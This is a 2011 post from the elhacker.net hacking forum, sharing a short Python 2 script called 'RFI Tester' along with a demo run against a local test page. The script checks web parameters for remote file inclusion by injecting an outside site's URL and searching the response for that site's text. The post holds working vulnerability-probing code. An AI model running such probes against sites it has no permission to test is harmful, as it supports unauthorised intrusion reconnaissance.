Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: BigBear en 7 Octubre 2011, 01:39 am



Título: [Python] RFI Tester
Publicado por: BigBear en 7 Octubre 2011, 01:39 am
Hola a todos.

Acabo de hacer un simple verificador de vulnerabilidad RFI

Código
  1. #!usr/bin/python
  2. #RFI Tester (C) Doddy Hackman
  3.  
  4. import os,sys,urllib2,re
  5.  
  6. def header() :
  7. print "\n--== RFI Tester ==--\n"
  8.  
  9. def copyright() :
  10. print "\n\n(C) Doddy Hackman 2010\n"
  11. exit(1)
  12.  
  13. def show() :
  14. print "\n[*] Sintax : ",sys.argv[0]," <web>\n"
  15.  
  16. def toma(web) :
  17. return urllib2.urlopen(web).read()
  18.  
  19. def test(web):
  20. try:
  21.  print "\n[+] Testing vulnerability RFI in",web
  22.  code = toma(web+"http://www.supertangas.com")
  23.  if(re.findall("Los mejores TANGAS de la red",code,re.I)):
  24.   print "[+] RFI Detected"
  25.  else:
  26.   print "[-] RFI Not Found"
  27. except:
  28.  pass
  29.  
  30. header()
  31.  
  32. if len(sys.argv) != 2 :
  33. show()
  34.  
  35. else :
  36. test(sys.argv[1])
  37.  
  38. copyright()
  39.  
  40.  
  41. #The End
  42.  

Ejemplo de uso

Código:
python rfi.py http://127.0.0.1/rfi.php?index=

Código:
C:\Users\DoddyH\Desktop\Arsenal X parte 2>rfi.py http://127.0.0.1/rfi.php?index=

--== RFI Tester ==--


[+] Testing vulnerability RFI in http://127.0.0.1/rfi.php?index=
[+] RFI Detected

(C) Doddy Hackman 2010